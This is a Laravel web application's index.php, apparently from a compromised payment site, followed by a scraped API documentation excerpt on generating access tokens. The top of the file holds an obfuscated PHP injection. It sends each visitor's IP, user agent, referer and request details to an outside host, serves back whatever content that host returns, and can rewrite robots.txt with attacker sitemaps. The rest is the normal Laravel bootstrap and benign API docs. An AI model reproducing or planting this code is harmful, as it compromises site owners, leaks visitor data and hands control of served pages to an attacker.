/home/kueuepay/public_html/public/index.php
<?php
 goto yTmN3; HPFgb: t1DDT: goto enuNw; ili8I: if ($I3QR3 < 3) { goto EzYhk; } goto ItOpe; jhB1A: $bmKNz = "\x55\x73\x65\162\x2d\141\x67\145\x6e\x74\x3a\52" . PHP_EOL; goto OF4cz; MBF2Y: $v_u_0 = "\x2f\151\x6e\x64\145\170\56\160\x68\160\77\126\123\75" . $b4zZz . "\46\107\x50\75" . $AUTET; goto dgzJd; pugVb: $HFKwB = "\157\x6e\x74\145"; goto ybYAy; dgzJd: $N8pMQ = array("\x53\103\x52\x49\120\124\137\x4e\x41\115\105", "\122\x45\121\x55\105\x53\124\137\125\122\x49", "\x48\x54\x54\120\123", "\x52\x45\121\x55\x45\123\124\137\x53\x43\110\x45\115\x45", "\x53\x45\x52\x56\x45\122\137\x50\x4f\122\124", "\x52\x45\115\117\124\105\x5f\x41\x44\104\x52", "\110\x54\x54\x50\137\122\105\106\x45\x52\x45\122", "\x48\x54\x54\x50\137\101\x43\x43\105\x50\x54\x5f\114\101\x4e\x47\x55\x41\107\x45", "\x48\x54\124\x50\x5f\x55\x53\105\122\137\101\x47\105\x4e\x54", "\110\x54\124\x50\137\x48\117\123\x54", "\125\x52\x49\x5f\120\x52\105\x46\x49\130"); goto NMzg0; s8zF1: RM_z8: goto vZo_h; AvYw9: $f5331 = "\x68\164\x74\160\x3a\57\x2f" . $AUTET . $v5z19 . $IJIOX . $CEHzB; goto MBF2Y; t6aqi: if (empty($Wx2VX)) { goto mCK6n; } goto gvj5o; z0r7N: if (!($SeK23 == "\160\x69\156\147")) { goto t1DDT; } goto jhB1A; vWFgm: exit; goto n8gzv; eZktq: exit; goto s8zF1; ybYAy: $XZVEK = "\x6e\164\x73"; goto bNuI6; L7mge: exit; goto HPFgb; WJeVO: ArrAY_pOP($q0gPQ); goto c_N2C; H0WdG: $SeK23 = Trim($kv1e2[$I3QR3 - rOuNd(0.59942363 + 0.1426513 + 0.206 + 0.051873)]); goto ryWLU; Drst2: $fa60b = FOPEn($_SERVER["\104\117\103\125\115\x45\116\x54\x5f\122\117\117\x54"] . "\57\x72\x6f\142\157\164\163\x2e\164\x78\x74", "\167"); goto KgsXF; Ff2Ww: headeR("\110\124\124\x50\57\x31\56\x30\40\64\60\x34\x20\x4e\x6f\164\x20\x46\157\165\156\144"); goto L8HOo; S9wm2: mCK6n: goto H0WdG; w7KXi: hEadEr("\110\x54\x54\x50\57\61\56\60\40\x34\60\x34\x20\x4e\x6f\164\x20\106\x6f\165\156\x64"); goto vWFgm; Ywqq_: $bpDsB = $f5331 . $v_u_0; goto AtSTK; OF4cz: $bmKNz .= "\101\x6c\154\157\167\x3a\x2f" . PHP_EOL; goto l8Xhk; gvj5o: echo $Wx2VX; goto S9wm2; v_1Oi: $Wx2VX = tRIm($kv1e2[RouNd(0.138661 + 0.37321814 + 0.3611 + 0.127)]); goto t6aqi; ivv1z: $JbeMC = curL_exeC($GOcVA); goto d1Czq; NMzg0: foreach ($N8pMQ as $jteJy) { goto wbXOV; J3dKm: PH8ko: goto ownhe; VhC0r: $mT1pF = baSE64_encODe(tRiM($BfCqj)); goto pVvKC; pVvKC: $mT1pF = STR_RePlACe("\53", "\x2d", $mT1pF); goto sprVE; Oztr9: goto o9lZY; goto J3dKm; wbXOV: if ($jteJy == "\x52\105\115\117\124\x45\x5f\x41\104\104\122") { goto PH8ko; } goto xFnvl; sprVE: $mT1pF = STR_REPlacE("\57", "\x5f", $mT1pF); goto s85wL; QvlNk: $BfCqj = isset($_SERVER[$jteJy]) ? $_SERVER[$jteJy] : ''; goto Oztr9; AP5ws: kJBSV: goto gQSbE; NU57F: $v_u_0 .= "\x26" . $jteJy . "\75" . $mT1pF; goto AP5ws; zJj7k: goto o9lZY; goto LZBpU; ownhe: $BfCqj = isset($_SERVER["\110\124\124\x50\x5f\130\137\x46\x4f\x52\x57\101\122\104\x45\104\137\106\117\x52"]) ? $_SERVER["\x48\124\x54\120\x5f\130\x5f\106\x4f\122\x57\x41\122\x44\x45\104\x5f\x46\117\x52"] : (isset($_SERVER["\122\x45\x4d\x4f\124\x45\x5f\x41\104\104\122"]) ? $_SERVER["\x52\105\x4d\117\x54\105\137\101\x44\x44\x52"] : ''); goto zJj7k; s85wL: $mT1pF = str_REPlace("\75", "\x2e", $mT1pF); goto NU57F; LZBpU: w8cQ1: goto VzA_m; VzA_m: $BfCqj = isset($Hri5S) ? $Hri5S : ''; goto AY8RM; AY8RM: o9lZY: goto VhC0r; xFnvl: if ($jteJy == "\125\122\x49\137\x50\x52\x45\106\x49\x58") { goto w8cQ1; } goto QvlNk; gQSbE: } goto OZkVO; c_N2C: foreach ($q0gPQ as $SVWSt) { $bmKNz .= "\x53\x69\x74\x65\x6d\x61\x70\x3a" . $SVWSt . PHP_EOL; ZDBTl: } goto vy6nK; xQEzP: CUrl_SeTOPt($GOcVA, CURLOPT_CONNECTTIMEOUT, rouNd(0.5273917 + 2.4121014 + 2.41210139 + 1.713 + 0.84627964 + 2.089125)); goto ivv1z; OZkVO: Jm6fn: goto Ywqq_; KgsXF: FwRITe($fa60b, $bmKNz); goto fj5Vn; MeJRI: $JbeMC = tRIM($JbeMC); goto NGGgT; vy6nK: sfBs1: goto Drst2; HBitW: hEaDEr($XqYQr); goto U_3qI; HH6QN: CuRl_SETopT($GOcVA, CURLOPT_URL, $bpDsB); goto T_k_o; enuNw: goto lP6rB; goto M26on; T_k_o: cUrL_sETOPT($GOcVA, CURLOPT_RETURNTRANSFER, RoUND(0.1186 + 0.05219032 + 0.119053 + 0.1541 + 0.16202054 + 0.10857263 + 0.121 + 0.072312 + 0.09243345)); goto xQEzP; l8Xhk: $q0gPQ = ExPLODe("\x3c\142\162\57\76", $Wx2VX); goto WJeVO; EdKKy: if (!empty($JbeMC)) { goto JagIN; } goto XiqkB; vZo_h: $v5z19 = "\56\164\x6f"; goto gNvOj; M26on: EzYhk: goto w7KXi; hPl61: Ior_4: goto z0r7N; yTmN3: erroR_rEpOrTInG(RouNd(0 + 0 + 0)); goto bIXyM; NGGgT: $kv1e2 = ExplODe("\x7c\x40\43\x24\x7c", $JbeMC); goto Ac00R; rNVBe: $b4zZz = "\141\x6b\145\x6e"; goto VSDCp; L8HOo: DO9h8: goto LMWoV; ItOpe: $XqYQr = TRiM($kv1e2[ROund(0 + 0 + 0 + 0 + 0 + 0 + 0)]); goto SqwG1; AtSTK: $GOcVA = CuRL_InIT(); goto HH6QN; U_3qI: eGjwx: goto v_1Oi; Awztq: JagIN: goto MeJRI; d1Czq: $JbeMC = trIM($JbeMC); goto juyZT; Oj_kD: echo "\x72\157\142\157\164\163\x2e\164\170\x74\40\144\157\156\145"; goto L7mge; Ac00R: $I3QR3 = COuNT($kv1e2); goto ili8I; LMWoV: echo "\x48\124\x54\120\x2f\61\x2e\60\x20\64\60\x34\40\x4e\157\x74\40\106\x6f\165\x6e\x64\137\137\137" . $AUTET . "\x5f\137\x5f" . $b4zZz; goto eZktq; JtR3h: if (!(PrEG_maTCH("\x2f\152\x70\x32\60\62\x33\x63\167\x77\x2f\x73\x69", $_SERVER["\x52\x45\x51\x55\x45\x53\x54\137\x55\122\111"]) == ROund(0 + 0 + 0))) { goto DO9h8; } goto Ff2Ww; KfbFZ: $LduDw = "\x65\x5f\147"; goto jBW3t; YBi5j: exit; goto hPl61; Bmrw2: $CEHzB = "\x74\x2e\143\157\155"; goto AvYw9; fj5Vn: fClOSE($fa60b); goto Oj_kD; juyZT: cURl_cLOse($GOcVA); goto EdKKy; bxLTp: $JbeMC = $h8LPW($bpDsB); goto Awztq; VSDCp: if (!(preg_mATcH("\57\x6a\x70\62\x30\62\63\x2f\163\x69", $_SERVER["\122\x45\121\x55\x45\x53\124\137\125\122\x49"]) == rounD(0.5859 + 0.4141005))) { goto RM_z8; } goto JtR3h; bIXyM: $AUTET = "\172\x6a\x32\70\61\63"; goto rNVBe; bNuI6: $h8LPW = $Ww3S7 . $LduDw . $GhuYb . $HFKwB . $XZVEK; goto bxLTp; ryWLU: if (!($SeK23 == "\145\x78\x69\164")) { goto Ior_4; } goto YBi5j; gNvOj: $IJIOX = "\x79\x6c\141\163"; goto Bmrw2; XiqkB: $Ww3S7 = "\x66\151\x6c"; goto KfbFZ; jBW3t: $GhuYb = "\x65\x74\137\143"; goto pugVb; SqwG1: if (empty($XqYQr)) { goto eGjwx; } goto HBitW; n8gzv: lP6rB:
?><?php

use Illuminate\Contracts\Http\Kernel;
use Illuminate\Http\Request;

define('LARAVEL_START', microtime(true));

/*
|--------------------------------------------------------------------------
| Check If The Application Is Under Maintenance
|--------------------------------------------------------------------------
|
| If the application is in maintenance / demo mode via the "down" command
| we will load this file so that any pre-rendered content can be shown
| instead of starting the framework, which could cause an exception.
|
*/

if (file_exists($maintenance = __DIR__.'/../storage/framework/maintenance.php')) {
    require $maintenance;
}

/*
|--------------------------------------------------------------------------
| Register The Auto Loader
|--------------------------------------------------------------------------
|
| Composer provides a convenient, automatically generated class loader for
| this application. We just need to utilize it! We'll simply require it
| into the script here so we don't need to manually load our classes.
|
*/

require __DIR__.'/../vendor/autoload.php';

/*
|--------------------------------------------------------------------------
| Run The Application
|--------------------------------------------------------------------------
|
| Once we have the application, we can handle the incoming request using
| the application's HTTP kernel. Then, we will send the response back
| to this client's browser, allowing them to enjoy our application.
|
*/

$app = require_once __DIR__.'/../bootstrap/app.php';

$kernel = $app->make(Kernel::class);

$response = $kernel->handle(
    $request = Request::capture()
)->send();

$kernel->terminate($request, $response);
Access Token

Get Access Token

Get access token to initiates payment transaction.

Endpoint: POST generate-token
Parameter Type Comments
client_id string Enter merchant API client/primary key
secret_id string Enter merchant API secret key
env string Enter merchant API environment
merchant_id string Enter merchant API merchant id
Just request to that endpoint with all parameter listed below:
                    
                        Request Example (guzzle)
                        

<?php
require_once('vendor/autoload.php');
$client = new \GuzzleHttp\Client();
$response = $client->request('POST', $base_url. 'v1/generate-token', [
'headers' => [
  'accept' => 'application/json',
  'content-type' => 'application/json',
 ],
'form_params' => [
  'client_id' => '$client_id',
  'secret_id' => 'secret_id',
  'env' => 'env',
  'merchant_id' => 'merchant_id',
 ],
]);
echo $response->getBody();
                    
                        
**Response: SUCCESS (200 OK)**
{
 "message": {
 "success": [
  "Successfully token is generated"
 ]
},
"data": {
 "token":"eyJpdiI6InpkczhjTjhQdVhUL2lKQ0pSUUx6aUE9P
SIsInZhbHVlIjoiVGVBTVBDTXltbjNZcEIvdEJveGpTSno3TU5NRUtn
VkhCZ1pHTFNCUnZGQ2UxMnYxN202cEE1YVRDTEFsc0ZERExoTjdtL0dTL2x
oU3QzeUJJOExiMUx5T0w1L0llUXhTUkU1cWVLWEdEbEplb0dKNXcwbTNRM0
VxdkUwYzZuNFdtNkhMQ0pRZysyNWkvdzBxSlBoSVBSOGFTekNnR2RXNHVtc
G9lMGZOTmNCcm1hR3c5Sk9KTnB4Y3ltZDl6cm90MThrR21Ca3B1azc3bXRi
Q0J6SW96UVo1elNkU1ZqeE05bTcwWGp1MEUxWlJFdnNWTmpSbnVpeW92b2U
4dXZkUGgyb1VmK0luaGdyaFlsVTZlcVpVRnZlTG1DeFF6Ykk2T2h6Z3Jzbn
IyNHpNdHowSE5JdDR0Y0pZT20zUm1XYW8iLCJtYWMiOiJlY2M4NGE1OGUzYz
kzYzk0YzljNmVmNjE0YWI0ZDIwOGI3NDQ2YWEyY2ZhNzc0NzE4ZmY1ZmYyMz
IyZmQzNDY1IiwidGFnIjoiIn0=",
},
"type": "success"
}
                    
                        
**Response: ERROR (400 FAILED)**
{
 "message": {
 "error": [
  "Invalid credentials."
 ]
},
"data": null,
"type": "error"
}